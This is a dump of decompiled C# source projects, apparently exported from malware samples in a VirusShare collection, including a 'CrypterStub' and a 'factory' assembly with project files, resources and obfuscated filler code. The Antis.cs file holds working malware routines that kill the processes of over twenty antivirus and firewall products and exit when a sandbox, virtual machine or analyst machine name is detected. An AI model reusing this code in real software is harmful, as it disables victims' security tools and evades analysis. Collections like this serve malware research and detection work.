+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{C9DCD558-8A77-479A-87BC-8E262800AC31}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CrypterStub 3</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrypterStub 3", "Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.csproj", "{C9DCD558-8A77-479A-87BC-8E262800AC31}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{C9DCD558-8A77-479A-87BC-8E262800AC31}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C9DCD558-8A77-479A-87BC-8E262800AC31}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C9DCD558-8A77-479A-87BC-8E262800AC31}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C9DCD558-8A77-479A-87BC-8E262800AC31}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: google.Antis
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace google
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/AssemblyInfo.cs

@@ -0,0 +1,15 @@
+using System.Reflection;
+using System.Resources;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("843583952-5294385728435245-23485872346523-45298394562435-2489362587435")]
+[assembly: AssemblyCopyright("98345235-46394576938572452435-243578247523-4523495872435-234597829456")]
+[assembly: AssemblyCompany("345678-776545446758436-3497854365-3456897349763-563456873945863-546385769835763-56385763945")]
+[assembly: AssemblyDescription("566-769877654234675-8987675423y-867545-86757434-45667785435-67777778543457874344656754-546758754")]
+[assembly: AssemblyTitle("465537786-8976543-47689876-565876543-6789786542386-754342478897-867574534567586-744354565")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyTrademark("30925798435-34095829345-4235472398452345-2394589230572893452-3458992345")]
+[assembly: NeutralResourcesLanguage("ro")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/DwIh7GIT19gfCS26l1rk1m73Ko.cs

@@ -0,0 +1,77 @@
+// Decompiled with JetBrains decompiler
+// Type: google.DwIh7GIT19gfCS26l1rk1m73Ko
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Windows.Forms;
+
+namespace google
+{
+  [StandardModule]
+  public sealed class DwIh7GIT19gfCS26l1rk1m73Ko
+  {
+    public static void U29Xo5uyckO9mX24yDd5z()
+    {
+      int num1 = (int) MessageBox.Show("u|8„.7?iK+mYC[9-.#");
+      int num2 = 232;
+      int num3 = (int) MessageBox.Show("}3xsNa?Sg}\u008D2^%\u0081J=\u007F;}…GVyLzT’'!;C.STw !+{=r\u008Dp*8:BSv.‚Os‹~B\u008D!z}S_|q‚Paa*I;sR_2Mxn4`2_C…L‡NZiT& D‘|31’:zktHM…/\u008F3x");
+      bool flag = false;
+      double num4 = 551136.0;
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        num4 = 1002.0;
+        num2 = 51255941;
+        ProjectData.ClearProjectError();
+      }
+      num4 = 8905.0;
+      int num5 = 82343358;
+      while (num5 <= 1)
+      {
+        int num6 = (int) Interaction.MsgBox((object) "O1q8qeGT");
+        checked { ++num5; }
+      }
+      int num7 = (int) Interaction.MsgBox((object) " e%p\u008DŽM3‰+)Tƒx|Q€‘xXu2Mjh#QV;o;\u007F@‚UFSJAU/ƒXeNbzm.|70Z{w€8M'‰\\Š‹:ƒ=3!CV‘VpCI„lz<&;wGQX+DX+g-%BJ‹7‹>u0NyJk~");
+    }
+
+    public static object L1dR5t9931JYbQk()
+    {
+      int num1 = (int) MessageBox.Show("&7Rp‡@o2gR\\\u00908rƒnC†`,\u007F@\u008DyK&I9K‡");
+      while (true)
+      {
+        int num2 = (int) Interaction.MsgBox((object) "2MY^\u0081y(aŒ,yo2lO[N];YdBhƒ&=vR@t''s=l`abQNxc~");
+      }
+    }
+
+    private static object MG0wt85MGsU3QAop60sI246()
+    {
+      if (10021496 <= 94)
+      {
+        int num1 = (int) MessageBox.Show("7Œ'3){*MaO„B1+‡|eLUŒb}p[I22*~V:67…w^D?}#FH‰qj]],\u0081_(,cqg.Jkri‹CvŒi+\u008D9/>A,k’f9‡‘„~h%;>N-fY=i3l_3*e\u008F(^bC\u008Fc>ŽTc*M:Lz‡ …(X][XTŽX*g`WˆchŠ‰E");
+        int num2 = 7330934;
+        while (num2 <= 220317)
+          checked { ++num2; }
+        while (true)
+          ;
+      }
+      else
+      {
+        int num3 = 6886831;
+        num3 = 885139406;
+        num3 = 127216697;
+        int num4 = 15;
+        num4 = 90184051;
+        int num5 = (int) MessageBox.Show("’2=<JF6!ŒVytS0=>r,n]3Q?)C„€wA…‚9`wE^Yab;t_O!G$CxCv{\u0090<*Q`…3ŒYYRr'f_4n}qw0]S{g@u>`(S]*„\u0090UEwkFh)uB\u007FHMzƒg\u008Dd’jS|B}^fPn‹Q‘4\u008FtbqI%");
+        return (object) 21017247;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Form2.cs

@@ -0,0 +1,154 @@
+// Decompiled with JetBrains decompiler
+// Type: google.Form2
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace google
+{
+  [DesignerGenerated]
+  public class Form2 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form2()
+    {
+      this.Load += new EventHandler(this.Form2_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
